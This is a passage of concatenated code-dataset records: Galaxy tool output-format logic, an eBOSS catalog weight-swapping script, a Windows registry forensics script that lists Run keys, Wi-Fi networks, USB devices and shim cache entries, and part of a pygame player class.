globals(), incoming ):\n return True # do not create this dataset\n except Exception as e:\n log.debug( 'Dataset output filter failed: %s' % e )\n return False\n\n\ndef determine_output_format(output, parameter_context, input_datasets, input_dataset_collections, random_input_ext):\n \"\"\" Determines the output format for a dataset based on an abstract\n description of the output (galaxy.tools.parser.ToolOutput), the parameter\n wrappers, a map of the input datasets (name => HDA), and the last input\n extensions in the tool form.\n\n TODO: Don't deal with XML here - move this logic into ToolOutput.\n TODO: Make the input extension used deterministic instead of random.\n \"\"\"\n # the type should match the input\n ext = output.format\n if ext == \"input\":\n ext = random_input_ext\n format_source = output.format_source\n if format_source is not None and format_source in input_datasets:\n try:\n input_dataset = input_datasets[output.format_source]\n input_extension = input_dataset.ext\n ext = input_extension\n except Exception:\n pass\n elif format_source is not None:\n if re.match(r\"^[^\\[\\]]*\\[[^\\[\\]]*\\]$\", format_source):\n collection_name, element_index = format_source[0:-1].split(\"[\")\n # Treat as json to interpret \"forward\" vs 0 with type\n # Make it feel more like Python, single quote better in XML also.\n element_index = element_index.replace(\"'\", '\"')\n element_index = json.loads(element_index)\n\n if collection_name in input_dataset_collections:\n try:\n input_collection = input_dataset_collections[collection_name][0][0]\n input_dataset = input_collection.collection[element_index].element_object\n input_extension = input_dataset.ext\n ext = input_extension\n except Exception as e:\n log.debug(\"Exception while trying to determine format_source: %s\", e)\n pass\n\n # process change_format tags\n if output.change_format is not None:\n new_format_set = False\n for change_elem in output.change_format:\n for when_elem in change_elem.findall( 'when' ):\n check = when_elem.get( 'input', None )\n if check is not None:\n try:\n if '$' not in check:\n # allow a simple name or more complex specifications\n check = '${%s}' % check\n if str( fill_template( check, context=parameter_context ) ) == when_elem.get( 'value', None ):\n ext = when_elem.get( 'format', ext )\n except: # bad tag input value; possibly referencing a param within a different conditional when block or other nonexistent grouping construct\n continue\n else:\n check = when_elem.get( 'input_dataset', None )\n if check is not None:\n check = input_datasets.get( check, None )\n # At this point check is a HistoryDatasetAssociation object.\n check_format = when_elem.get( 'format', ext )\n check_value = when_elem.get( 'value', None )\n check_attribute = when_elem.get( 'attribute', None )\n if check is not None and check_value is not None and check_attribute is not None:\n # See if the attribute to be checked belongs to the HistoryDatasetAssociation object.\n if hasattr( check, check_attribute ):\n if str( getattr( check, check_attribute ) ) == str( check_value ):\n ext = check_format\n new_format_set = True\n break\n # See if the attribute to be checked belongs to the metadata associated with the\n # HistoryDatasetAssociation object.\n if check.metadata is not None:\n metadata_value = check.metadata.get( check_attribute, None )\n if metadata_value is not None:\n if str( metadata_value ) == str( check_value ):\n ext = check_format\n new_format_set = True\n break\n if new_format_set:\n break\n return ext\n", "sub_path": "lib/galaxy/tools/actions/__init__.py", "file_name": "__init__.py", "file_ext": "py", "file_size_in_byte": 43530, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "logging.getLogger", "line_number": 20, "usage_type": "call"}, {"api_name": "galaxy.util.odict.odict", "line_number": 52, "usage_type": "call"}, {"api_name": "galaxy.tools.parameters.basic.RuntimeValue", "line_number": 57, "usage_type": "argument"}, {"api_name": "galaxy.tools.parameters.basic.DataToolParameter", "line_number": 74, "usage_type": "argument"}, {"api_name": "galaxy.tools.parameters.basic.DataCollectionToolParameter", "line_number": 119, "usage_type": "argument"}, {"api_name": "galaxy.tools.parameters.basic.DataToolParameter", "line_number": 152, "usage_type": "argument"}, {"api_name": "galaxy.model.HistoryDatasetCollectionAssociation", "line_number": 157, "usage_type": "attribute"}, {"api_name": "galaxy.model", "line_number": 157, "usage_type": "name"}, {"api_name": "galaxy.tools.parameters.basic.DataCollectionToolParameter", "line_number": 170, "usage_type": "argument"}, {"api_name": "galaxy.util.none_like.NoneDataset", "line_number": 219, "usage_type": "call"}, {"api_name": "galaxy.model.LibraryDatasetDatasetAssociation", "line_number": 223, "usage_type": "argument"}, {"api_name": "galaxy.util.odict.odict", "line_number": 256, "usage_type": "call"}, {"api_name": "six.string_types", "line_number": 319, "usage_type": "argument"}, {"api_name": "galaxy.util.ExecutionTimer", "line_number": 404, "usage_type": "call"}, {"api_name": "galaxy.util.ExecutionTimer", "line_number": 408, "usage_type": "call"}, {"api_name": "galaxy.util.ExecutionTimer", "line_number": 428, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 435, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 463, "usage_type": "call"}, {"api_name": "galaxy.tools.parameters.update_param", "line_number": 464, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 466, "usage_type": "call"}, {"api_name": "galaxy.util.ExecutionTimer", "line_number": 479, "usage_type": "call"}, {"api_name": "galaxy.web.url_for", "line_number": 501, "usage_type": "call"}, {"api_name": "galaxy.tools.parameters.wrapped.WrappedParameters", "line_number": 509, "usage_type": "call"}, {"api_name": "galaxy.util.ExecutionTimer", "line_number": 572, "usage_type": "call"}, {"api_name": "galaxy.util.template.fill_template", "line_number": 590, "usage_type": "call"}, {"api_name": "galaxy.util.template.fill_template", "line_number": 607, "usage_type": "call"}, {"api_name": "galaxy.exceptions.ObjectInvalid", "line_number": 633, "usage_type": "name"}, {"api_name": "re.match", "line_number": 763, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 768, "usage_type": "call"}, {"api_name": "galaxy.util.template.fill_template", "line_number": 791, "usage_type": "call"}]} {"seq_id": "470924194", "text": "#!/usr/bin/env python\n'''\n Code to read a galaxy, random catalog,\n swap weights, subsample randoms, assess the redshift distribution\n export the new catalogs\n\n\n get help with $> python swap_data.py --help\n run with $> python swap_data.py\n'''\nimport os\nimport logging\n\n\nimport sys\nsys.path.append('/home/mehdi/github/LSSutils')\nfrom LSSutils.catalogs.combinefits import SysWeight, EbossCatalog, reassignment\n\ndef main(model='plain',\n zmin=0.8,\n zmax=3.5,\n nside=512,\n zsplit='lowmidhigh',\n slices=['low', 'high', 'zhigh'],\n cap='NGC',\n target='QSO',\n version='v7_2',\n versiono='0.1'): \n\n output_dir = f'/B/Shared/mehdi/eboss/data/{version}/{versiono}/' \n data_name_in = f'/B/Shared/mehdi/eboss/data/{version}/eBOSS_{target}_full_{cap}_{version}.dat.fits'\n rand_name_in = f'/B/Shared/mehdi/eboss/data/{version}/eBOSS_{target}_full_{cap}_{version}.ran.fits'\n\n tag = '_'.join((version, versiono, model, zsplit))\n data_name_out = output_dir + f'eBOSS_{target}_clustering_{cap}_{tag}.dat.fits'\n rand_name_out = output_dir + f'eBOSS_{target}_clustering_{cap}_{tag}.ran.fits'\n plotname = output_dir + f'eBOSS_{target}_{cap}_{tag}.pdf'\n\n weight = lambda zcut, model: output_dir + f'/results/{cap}_{zcut}_{nside}'\\\n +f'/regression/nn_{model}/nn-weights.hp{nside}.fits'\n\n zcuts = {'low':[[0.8, 1.5], None],\n 'high':[[1.5, 2.2], None],\n 'all':[[0.8, 2.2], None],\n 'zhigh':[[2.2, 3.5], None],\n 'z1':[[0.8, 1.3], None],\n 'z2':[[1.3, 1.6], None],\n 'z3':[[1.6, 2.2], None],\n 'all_racut':[[0.8, 2.2], None],\n 'zhigh_racut':[[2.2, 3.5], None]}\n\n\n\n logger = logging.getLogger(\"Swapper\")\n logger.info('results will be written under {}'.format(output_dir)) \n logger.info('swap the NN-z weights')\n logger.info(f'input data : {data_name_in}')\n logger.info(f'input random : {rand_name_in}')\n logger.info(f'output data : {data_name_out}')\n logger.info(f'output random : {rand_name_out}')\n \n # --- check if the output directory exists\n if not os.path.isdir(output_dir):\n logger.info('create {}'.format(output_dir))\n #os.makedirs(output_dir)\n\n for zcut in slices:\n logger.info(f'zcut : {zcut}')\n zcuts[zcut][1]=SysWeight(weight(zcut, model))\n\n data = EbossCatalog(data_name_in, zmin=zmin, zmax=zmax, kind='galaxy')\n data.swap(zcuts=zcuts, slices=slices)\n #data.make_plots(zcuts, slices=slices, filename=plotname)\n data.to_fits(data_name_out)\n\n\n random = EbossCatalog(rand_name_in, zmin=zmin, zmax=zmax, kind='random')\n newrandom = reassignment(random.data, data.data)\n newrandom.write(rand_name_out) \n\n \n \nif __name__ == '__main__':\n \n from argparse import ArgumentParser\n ap = ArgumentParser(description='Prepare EBOSS Data and Random Catalogs')\n ap.add_argument('-m','--model', type=str, default='plain', help='eg:plain, other options are ablation and known ')\n ap.add_argument('--zmin', type=float, default=0.8, help='eg:0.8')\n ap.add_argument('--zmax', type=float, default=3.5, help='eg:3.5')\n ap.add_argument('-n', '--nside', type=int, default=512, help='eg:512')\n ap.add_argument('-zs', '--zsplit', type=str, default='lowmidhigh', help='eg: lowmidhigh')\n ap.add_argument('-sl', '--slices', type=str, default=['low', 'high', 'zhigh'], nargs='*', help=\"eg:['low', 'high', 'zhigh']\")\n ap.add_argument('-c', '--cap', type=str, default='NGC', help='eg: NGC or SGC')\n ap.add_argument('-t', '--target', type=str, default='QSO', help='eg: QSO')\n ap.add_argument('-v', '--version', type=str, default='v7_2', help='eg: v7_2')\n ap.add_argument('-vo', '--versiono',type=str, default='0.3', help='eg: 0.3')\n ns = ap.parse_args() \n\n #--- default\n #\n # model='plain',\n # zmin=0.8,\n # zmax=3.5,\n # nside=512,\n # zsplit='lowmidhigh',\n # slices=['low', 'high', 'zhigh'],\n # cap='NGC',\n # target='QSO',\n # version='v7_2',\n # versiono='0.3'\n \n from LSSutils import setup_logging\n setup_logging('info')\n\n logger = logging.getLogger(\"Swapper\")\n \n kwargs = ns.__dict__\n for (a,b) in zip(kwargs.keys(), kwargs.values()):\n logger.info('{:6s}{:15s} : {}'.format('', a, b))\n \n # -- call the function \n main(**kwargs)\n \n \n", "sub_path": "swap_data.py", "file_name": "swap_data.py", "file_ext": "py", "file_size_in_byte": 4493, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "sys.path.append", "line_number": 16, "usage_type": "call"}, {"api_name": "sys.path", "line_number": 16, "usage_type": "attribute"}, {"api_name": "logging.getLogger", "line_number": 54, "usage_type": "call"}, {"api_name": "os.path.isdir", "line_number": 63, "usage_type": "call"}, {"api_name": "os.path", "line_number": 63, "usage_type": "attribute"}, {"api_name": "LSSutils.catalogs.combinefits.SysWeight", "line_number": 69, "usage_type": "call"}, {"api_name": "LSSutils.catalogs.combinefits.EbossCatalog", "line_number": 71, "usage_type": "call"}, {"api_name": "LSSutils.catalogs.combinefits.EbossCatalog", "line_number": 77, "usage_type": "call"}, {"api_name": "LSSutils.catalogs.combinefits.reassignment", "line_number": 78, "usage_type": "call"}, {"api_name": "argparse.ArgumentParser", "line_number": 86, "usage_type": "call"}, {"api_name": "LSSutils.setup_logging", "line_number": 113, "usage_type": "call"}, {"api_name": "logging.getLogger", "line_number": 115, "usage_type": "call"}]} {"seq_id": "435619529", "text": "import argparse\r\nimport winreg\r\nfrom datetime import datetime, timedelta\r\nimport struct\r\nimport io\r\n\r\n\"\"\"\r\nThis code is designed to query an active Windows Registry for key values and artifacts that\r\ninvestigators may find useful. This code can be used to gather a rudimentary baseline of a \r\nregistry or to hunt for abnormal keys and values within certain registries on a LIVE system.\r\n\r\nUsage: LiveRegistryEnumeration.py [--hive $VAR1] [--wireless] [--usb] [--shimcache]\r\n\r\n\"\"\"\r\n#Setup the command line arguments and help messages\r\nparser = argparse.ArgumentParser(description=\"Live Registry Analysis:\\nThis program provides some options for quick registry analysis to include Run Key Analysis, Wireless Network listings, USB information,and SHIM CACHE information.\")\r\nparser.add_argument('--hive', type=str, help='Display Run Keys. Options are: \\'HKLM\\', \\'HKCU\\', or \\'Both\\'')\r\nparser.add_argument('-w', '--wireless', help='List Wireless Networks(Admin)', action=\"store_true\")\r\nparser.add_argument('-u', '--usb', help='List USB Devices', action=\"store_true\")\r\nparser.add_argument('--shimcache', type=int, help='(Experimental) Show logged data starting at given number of days ago.')\r\nargs = parser.parse_args()\r\n\r\ndef checkRunKeys(hive, name):\r\n\t#Check the Run and RunOnce keys in the given Hive and print results to screen\r\n\t#Results will be in the form 'Program Name: Program Path of Execution'\r\n\tkeys = ['SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run', 'SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce']\r\n\tfor k in keys:\r\n\t\tcheckKey = winreg.CreateKey(hive, k)\r\n\t\tprint (\"Attempting enumeration of {0}\\\\{1}\".format(name, k))\r\n\t\tprint (\"--- Program Name: Command Line\")\r\n\t\tnumValues = winreg.QueryInfoKey(checkKey)[1]\r\n\t\tif numValues > 0:\r\n\t\t for index in range(numValues):\r\n\t\t\t nameKey = winreg.EnumValue(checkKey, index)\r\n\t\t\t print (\"--- {0}: {1}\".format(nameKey[0], nameKey[1]))\r\n\t\t print (\"Key Complete\\n\")\r\n\t\telse:\r\n\t\t\tprint (\"No Values in this Key\\n\")\r\n\r\n\r\ndef wirelessNetworks():\r\n\t#Check for all recorded connections to wireless networks and print results to the screen\r\n\t#Results will be in the form 'DNS Name: SSID'\r\n\tprint (\"Attempting enumeration of HKEY_LOCAL_MACHINE\\\\SOFTWARE\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\NetworkList\\\\Signatures\\\\Unmanaged\")\r\n\tprint (\"--- DNS Suffix: SSID\")\r\n\tcheckKey = winreg.CreateKey(winreg.HKEY_LOCAL_MACHINE, 'SOFTWARE\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\NetworkList\\\\Signatures\\\\Unmanaged')\r\n\tnumValues = winreg.QueryInfoKey(checkKey)[0]\r\n\tif numValues > 0:\r\n\t\tfor index in range(numValues):\r\n\t\t\tnameKey = winreg.EnumKey(checkKey, index)\r\n\t\t\ttrueKey = winreg.CreateKey(winreg.HKEY_LOCAL_MACHINE, 'SOFTWARE\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\NetworkList\\\\Signatures\\\\Unmanaged\\\\' + nameKey)\r\n\t\t\tDnsSuffix = winreg.EnumValue(trueKey, 3)\r\n\t\t\tFirstNetwork = winreg.EnumValue(trueKey, 4)\r\n\t\t\tprint (\"--- {0}: {1}\".format(DnsSuffix[1], FirstNetwork[1]))\r\n\t\tprint (\"No additional Wireless Network Connections Found\\n\")\r\n\telse:\r\n\t\tprint (\"No Values in this Key\\n\")\r\n\r\ndef usbDevices():\r\n\t#Check for all recorded USB Devices that have connected to the system and print results to the screen\r\n\t#Results will be in the form 'Last Key Modification Date(UTC) - Friendly Name: ContainerID'\r\n\tprint (\"Attempting enumeration of USB Storage Devices\")\r\n\tprint (\"--- Date First Connected(UTC) - Friendly Name: ContainerID\")\r\n\tcheckKey = winreg.CreateKey(winreg.HKEY_LOCAL_MACHINE, 'SYSTEM\\\\CurrentControlSet\\\\Enum\\\\USBSTOR')\r\n\tnumValues = winreg.QueryInfoKey(checkKey)[0]\r\n\tif numValues > 0:\r\n\t\tfor index in range(numValues):\r\n\t\t\tnextKey = winreg.CreateKey(winreg.HKEY_LOCAL_MACHINE, 'SYSTEM\\\\CurrentControlSet\\\\Enum\\\\USBSTOR\\\\' + winreg.EnumKey(checkKey, index))\r\n\t\t\ttrueKey = winreg.CreateKey(winreg.HKEY_LOCAL_MACHINE, 'SYSTEM\\\\CurrentControlSet\\\\Enum\\\\USBSTOR\\\\' + winreg.EnumKey(checkKey, index) + '\\\\' + winreg.EnumKey(nextKey, 0))\r\n\t\t\t#For some reason, some keys index values differently. We must iterate through all values to guarantee accuracy as a result.\r\n\t\t\tfor value in range(winreg.QueryInfoKey(trueKey)[1]):\r\n\t\t\t\tcurValue = winreg.EnumValue(trueKey, value)[0]\r\n\t\t\t\tnanoseconds = winreg.QueryInfoKey(trueKey)[2]\r\n\t\t\t\tif curValue == 'ContainerID':\r\n\t\t\t\t\tContainerID = winreg.EnumValue(trueKey, value)\r\n\t\t\t\telif curValue == 'FriendlyName':\r\n\t\t\t\t\tFriendlyName = winreg.EnumValue(trueKey, value)\r\n\t\t\tprint (\"--- {2} - {0}: {1}\".format(FriendlyName[1], ContainerID[1], translateTime(nanoseconds)))\r\n\t\tprint (\"No additional devices found in USBSTOR\\n\")\r\n\telse:\r\n\t\tprint (\"No values in this key.\")\r\n\r\ndef readShimCache(daysOfData):\r\n\t#Check for all programs recorded in the App Compatibility Cache (shim cache).\r\n\t#Results are in the form: Modification date : Path\r\n\t#What about execution flag?\r\n\tprint (\"(Experimental) Attempting enumeration of the SHIM Cache (Experimental)\")\r\n\tprint (\"--- UTC Modification Time : Path\")\r\n\ttry:\r\n\t checkKey = winreg.CreateKey(winreg.HKEY_LOCAL_MACHINE, 'SYSTEM\\\\CurrentControlSet\\\\Control\\\\Session Manager\\\\AppCompatCache')\r\n\texcept:\r\n\t print (\"Shim Cache not in expected Key. Other Keys and OS Version Support under development.\\n\")\r\n\tentrylist = []\r\n\tshim = winreg.EnumValue(checkKey, 0)[1]\r\n\tcache_data = shim[0x34:]\r\n\tdata = io.BytesIO(cache_data)\r\n\twhile data.tell() < len(cache_data):\r\n\t\theader = data.read(12)\r\n\t\tmagic, crc32_hash, entry_len = struct.unpack('<4sLL', header)\r\n\t\tentry_data = io.BytesIO(data.read(entry_len))\r\n\t\tpath_len = struct.unpack('<H', entry_data.read(2))[0]\r\n\t\tif path_len == 0:\r\n\t\t\tpath = 'None'\r\n\t\telse:\r\n\t\t\tpath = entry_data.read(path_len).decode('utf-16le', 'replace').encode('utf-8')\r\n\t\tlow_datetime, high_datetime = struct.unpack('<LL', entry_data.read(8))\r\n\t\tadjustedTimes = (high_datetime << 32) | low_datetime\r\n\t\t#Windows uses January 1, 1601 as start time. Get number of microseconds from then to given number of days ago.\r\n\t\ttimeRange = (timedelta(days=(152539-daysOfData)).total_seconds()) * 1000000\r\n\t\tif adjustedTimes / 10 > timeRange:\r\n\t\t\trow = [adjustedTimes, path.decode()]\r\n\t\t\tentrylist.append(row)\r\n\t\telse:\r\n\t\t\tcontinue\r\n #Need to sort dates appropriately as time-order is not maintained in the cache\r\n\treturn sorted(entrylist)\r\n\r\n\r\ndef translateTime(nanoseconds):\r\n\t#Windows timestamps are number of 100ns since January 1st, 1601. This function translates time to make it more readable.\r\n\treturn format(datetime(1601,1,1) + timedelta(microseconds=nanoseconds/10), '%d %B %Y %H:%M:%S')\r\n\r\ndef main():\r\n\tif args.hive is None and not args.wireless and not args.usb and args.shimcache is None:\r\n\t\tprint (\"No options given! Add -h to the command to display options!\\n\")\r\n\telse:\r\n\t\tif args.hive is not None:\r\n\t\t\tif args.hive.upper() in (\"HKLM\", \"HKCU\", \"BOTH\"):\r\n\t\t\t\tprint (\"--------------RUN KEYS--------------\")\r\n\t\t\t\tif args.hive.upper() == \"HKLM\":\r\n\t\t\t\t\tcheckRunKeys(winreg.HKEY_LOCAL_MACHINE, \"HKEY_LOCAL_MACHINE\")\r\n\t\t\t\telif args.hive.upper() == \"HKCU\":\r\n\t\t\t\t\tcheckRunKeys(winreg.HKEY_CURRENT_USER, \"HKEY_CURRENT_USER\")\r\n\t\t\t\telif args.hive.lower() == \"both\":\r\n\t\t\t\t\tcheckRunKeys(winreg.HKEY_LOCAL_MACHINE, \"HKEY_LOCAL_MACHINE\")\r\n\t\t\t\t\tcheckRunKeys(winreg.HKEY_CURRENT_USER, \"HKEY_CURRENT_USER\")\r\n\t\t\telse:\r\n\t\t\t\tprint (\"Unrecongnized Choice for HIVE: \\\"{}\\\" is not valid.\\n\".format(args.hive))\r\n\t\tif args.wireless:\r\n\t\t\tprint (\"--------------WIRELESS NETWORK CONNECTIONS--------------\")\r\n\t\t\ttry:\r\n\t\t\t\twirelessNetworks()\r\n\t\t\texcept PermissionError:\r\n\t\t\t\tprint (\"You must be admin to check this key.\\n\")\r\n\t\tif args.usb:\r\n\t\t\tprint (\"--------------USB DEVICES--------------\")\r\n\t\t\tusbDevices()\r\n\t\tif args.shimcache is not None:\r\n\t\t\tprint (\"--------------SHIM CACHE DATA--------------\")\r\n\t\t\tresults = readShimCache(args.shimcache)\r\n\t\t\tfor entry in results:\r\n\t\t\t\tif entry[0] == 0:\r\n\t\t\t\t\tentry[0] = \"No Timestamp - Unknown\"\r\n\t\t\t\telse:\r\n\t\t\t\t\tentry[0] = translateTime(entry[0])\r\n\t\t\t\tprint (\"--- {0} : {1}\".format(entry[0], entry[1]))\r\n\t\t\tprint (\"End of SHIM Cache Information\\n\")\r\n\tprint (\"Execution Complete\")\r\n\r\nif __name__ == \"__main__\":\r\n main()\r\n", "sub_path": "LiveRegistryEnumeration.py", "file_name": "LiveRegistryEnumeration.py", "file_ext": "py", "file_size_in_byte": 7983, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "argparse.ArgumentParser", "line_number": 16, "usage_type": "call"}, {"api_name": "winreg.CreateKey", "line_number": 28, "usage_type": "call"}, {"api_name": "winreg.QueryInfoKey", "line_number": 31, "usage_type": "call"}, {"api_name": "winreg.EnumValue", "line_number": 34, "usage_type": "call"}, {"api_name": "winreg.CreateKey", "line_number": 46, "usage_type": "call"}, {"api_name": "winreg.HKEY_LOCAL_MACHINE", "line_number": 46, "usage_type": "attribute"}, {"api_name": "winreg.QueryInfoKey", "line_number": 47, "usage_type": "call"}, {"api_name": "winreg.EnumKey", "line_number": 50, "usage_type": "call"}, {"api_name": "winreg.CreateKey", "line_number": 51, "usage_type": "call"}, {"api_name": "winreg.HKEY_LOCAL_MACHINE", "line_number": 51, "usage_type": "attribute"}, {"api_name": "winreg.EnumValue", "line_number": 52, "usage_type": "call"}, {"api_name": "winreg.EnumValue", "line_number": 53, "usage_type": "call"}, {"api_name": "winreg.CreateKey", "line_number": 64, "usage_type": "call"}, {"api_name": "winreg.HKEY_LOCAL_MACHINE", "line_number": 64, "usage_type": "attribute"}, {"api_name": "winreg.QueryInfoKey", "line_number": 65, "usage_type": "call"}, {"api_name": "winreg.CreateKey", "line_number": 68, "usage_type": "call"}, {"api_name": "winreg.HKEY_LOCAL_MACHINE", "line_number": 68, "usage_type": "attribute"}, {"api_name": "winreg.EnumKey", "line_number": 68, "usage_type": "call"}, {"api_name": "winreg.CreateKey", "line_number": 69, "usage_type": "call"}, {"api_name": "winreg.HKEY_LOCAL_MACHINE", "line_number": 69, "usage_type": "attribute"}, {"api_name": "winreg.EnumKey", "line_number": 69, "usage_type": "call"}, {"api_name": "winreg.QueryInfoKey", "line_number": 71, "usage_type": "call"}, {"api_name": "winreg.EnumValue", "line_number": 72, "usage_type": "call"}, {"api_name": "winreg.QueryInfoKey", "line_number": 73, "usage_type": "call"}, {"api_name": "winreg.EnumValue", "line_number": 75, "usage_type": "call"}, {"api_name": "winreg.EnumValue", "line_number": 77, "usage_type": "call"}, {"api_name": "winreg.CreateKey", "line_number": 90, "usage_type": "call"}, {"api_name": "winreg.HKEY_LOCAL_MACHINE", "line_number": 90, "usage_type": "attribute"}, {"api_name": "winreg.EnumValue", "line_number": 94, "usage_type": "call"}, {"api_name": "io.BytesIO", "line_number": 96, "usage_type": "call"}, {"api_name": "struct.unpack", "line_number": 99, "usage_type": "call"}, {"api_name": "io.BytesIO", "line_number": 100, "usage_type": "call"}, {"api_name": "struct.unpack", "line_number": 101, "usage_type": "call"}, {"api_name": "struct.unpack", "line_number": 106, "usage_type": "call"}, {"api_name": "datetime.timedelta", "line_number": 109, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 121, "usage_type": "call"}, {"api_name": "datetime.timedelta", "line_number": 121, "usage_type": "call"}, {"api_name": "winreg.HKEY_LOCAL_MACHINE", "line_number": 131, "usage_type": "attribute"}, {"api_name": "winreg.HKEY_CURRENT_USER", "line_number": 133, "usage_type": "attribute"}, {"api_name": "winreg.HKEY_LOCAL_MACHINE", "line_number": 135, "usage_type": "attribute"}, {"api_name": "winreg.HKEY_CURRENT_USER", "line_number": 136, "usage_type": "attribute"}]} {"seq_id": "423553367", "text": "import math\nimport pygame.mixer\nfrom twisted.internet import defer\nfrom twisted.spread import pb\nfrom vector import Vector2D\nfrom twisted.internet import reactor\n\n#This comment is still not important.\nsounds = dict()\n\ndef _initSounds():\n# pygame.mixer.init(frequency=16000)#, size=-8, channels=1)\n sounds[\"trigger trap\"] = pygame.mixer.Sound(\"data/sfx/alex_sfx/Trigger Trap.wav\")\n sounds[\"explosion\"] = pygame.mixer.Sound(\"data/sfx/alex_sfx/Attack Hit.wav\")\n\n sounds[\"attack\"] = pygame.mixer.Sound(\"data/sfx/alex_sfx/attack.wav\")\n sounds[\"poly armor full\"] = pygame.mixer.Sound(\"data/sfx/alex_sfx/Points Full.wav\")\n sounds[\"player upgrade\"] = pygame.mixer.Sound(\"data/sfx/alex_sfx/You upgraded.wav\")\n\n sounds[\"accept upgrade\"] = pygame.mixer.Sound(\"data/sfx/alex_sfx/accept_upgrade.wav\")\n\n sounds[\"gain poly armor\"] = pygame.mixer.Sound(\"data/sfx/alex_sfx/gain resource.wav\")\n sounds[\"lose poly armor\"] = pygame.mixer.Sound(\"data/sfx/alex_sfx/pay resource.wav\")\n sounds[\"poly armor depleted\"] = pygame.mixer.Sound(\"data/sfx/alex_sfx/resources depleted.wav\")\n\n sounds[\"mining\"] = pygame.mixer.Sound(\"data/sfx/alex_sfx/In Resource Pool(loop).wav\")\n\n sounds[\"building\",3] = pygame.mixer.Sound(\"data/sfx/alex_sfx/Building 3-sided.wav\")\n sounds[\"building\",4] = pygame.mixer.Sound(\"data/sfx/alex_sfx/Building 4-sided.wav\")\n sounds[\"building\",5] = pygame.mixer.Sound(\"data/sfx/alex_sfx/Building 5-sided.wav\")\n\n sounds[\"finish building\",3] = pygame.mixer.Sound(\"data/sfx/alex_sfx/Finish 3-sided.wav\")\n sounds[\"finish building\",4] = pygame.mixer.Sound(\"data/sfx/alex_sfx/Finish 4-sided.wav\")\n sounds[\"finish building\",5] = pygame.mixer.Sound(\"data/sfx/alex_sfx/Finish 5-sided.wav\")\n\n sounds[\"scanning\"] = pygame.mixer.Sound(\"data/sfx/alex_sfx/Sweeping.wav\")\n\ndef getSound(strIdx, nIndex = None):\n if not nIndex == None:\n return sounds[strIdx, nIndex]\n else:\n return sounds[strIdx]\n\nclass PlayerScan:\n def __init__(self):\n self.reset()\n\n def reset(self):\n self.startTime = 0\n self._radius = 0\n self.resetTimer = None\n self._isScanning = False\n\n def start(self):\n if self.resetTimer:\n self.resetTimer.cancel()\n self.reset()\n self.startTime = pygame.time.get_ticks()\n self._isScanning = True\n\n def stop(self):\n self._isScanning = False\n self._radius = self.radius()\n self.startTime = pygame.time.get_ticks()\n self.resetTimer = reactor.callLater(5, self.reset)\n\n def radius(self):\n if self.startTime == 0:\n return 0\n dt = (pygame.time.get_ticks() - self.startTime)\n if self._radius:\n if dt >= 5000.0:\n return 0;\n else:\n return self._radius * (1 - (dt / 5000.0))\n #return (math.log1p(min(1, (dt / 10000.0) / (math.e - 1))) * .9) + 0.1\n return 2*(min(1, (dt / 1000.0) * .9) + 0.1)\n\n\n def __nonzero__(self):\n if self.startTime == 0:\n return False\n return True\n\n def isScanning(self):\n return self._isScanning\n\nclass Player(pb.Cacheable, pb.RemoteCache):\n def __init__(self):\n #pb.Cacheable.__init__(self)\n #pb.RemoteCache.__init__(self)\n self.position = Vector2D(0, 0)\n self.sides = 3\n self.resources = 0\n self.observers = []\n self.scanning = PlayerScan()\n self.size = 1\n self.action = None\n self.upgradingAt = None\n self.self = False\n self.events = set()\n self.topEvents = set()\n self.armor = dict()\n self.building = None\n self._buildingReset = None\n self.tooltip = None\n self.lastAction = None\n #self.sounds = None\n\n #sound related state\n self.playingBuildingCompleteSound = False\n self.scanFadeOutOk = False\n self.stopBuildingChannelOk = True\n self.hadResources = False\n #self.pointsFullPlayOk = True\n #self.sounds = dict()\n #self.sounds['Building 3-Sided'] = pygame.mixer.Sound(\"data/sfx/alex_sfx/Building 3-sided.wav\")\n\n #sound related state\n self.playingBuildingCompleteSound = False\n self.actionName = None\n self.scanFadeOutOk = False\n self.stopBuildingChannelOk = True\n self.attacking = False\n self.miningAnimation = None\n\n def reset(self):\n self.setResources(0)\n self.sides = 3\n\n# self.resources = 0\n# self.size = 1\n# self.action = None\n# self.upgradingAt = None\n# self.events = set()\n# self.topEvents = set()\n# self.armor = dict()\n# self.building = None\n# self._buildingReset = None\n# self.tooltip = None\n# self.lastAction = None\n# #self.sounds = None\n#\n# #sound related state\n# self.playingBuildingCompleteSound = False\n# self.scanFadeOutOk = False\n# self.stopBuildingChannelOk = True\n# self.hadResources = False\n# #self.pointsFullPlayOk = True\n# #self.sounds = dict()\n# #self.sounds['Building 3-Sided'] = pygame.mixer.Sound(\"data/sfx/alex_sfx/Building 3-sided.wav\")\n#\n# #sound related state\n# self.playingBuildingCompleteSound = False\n# self.actionName = None\n# self.scanFadeOutOk = False\n# self.stopBuildingChannelOk = True\n# self.attacking = False\n# self.miningAnimation = None\n\n def _startScanning(self):\n self.scanning.start()\n\n def startScanning(self):\n self._startScanning()\n for o in self.observers: o.callRemote('startScanning')\n\n observe_startScanning = _startScanning\n\n def _finishScanning(self):\n self.scanning.stop()\n def finishScanning(self):\n self._finishScanning()\n for o in self.observers: o.callRemote('finishScanning')\n observe_finishScanning = _finishScanning\n\n def getScanRadius(self):\n return self.scanning.radius()\n\n def observe_trapped(self, playSound = True):\n if self.resources:\n self.setResources(0)\n else:\n self.sides = 0\n\n if (playSound):\n pygame.mixer.Channel(6).play(getSound(\"trigger trap\"))\n pygame.mixer.Channel(7).play(getSound(\"explosion\"))\n\n def trapped(self):\n self.observe_trapped(playSound = False)\n for o in self.observers: o.callRemote('trapped')\n\n def setAction(self, remote, local):\n self.observe_setAction(remote)\n self.action = local\n self.actionName = remote\n if (remote != \"Mining\" and remote != \"Building\"):\n pygame.mixer.Channel(7).stop()\n\n# if(remote == \"Mining\"):\n# self.miningAnimation = 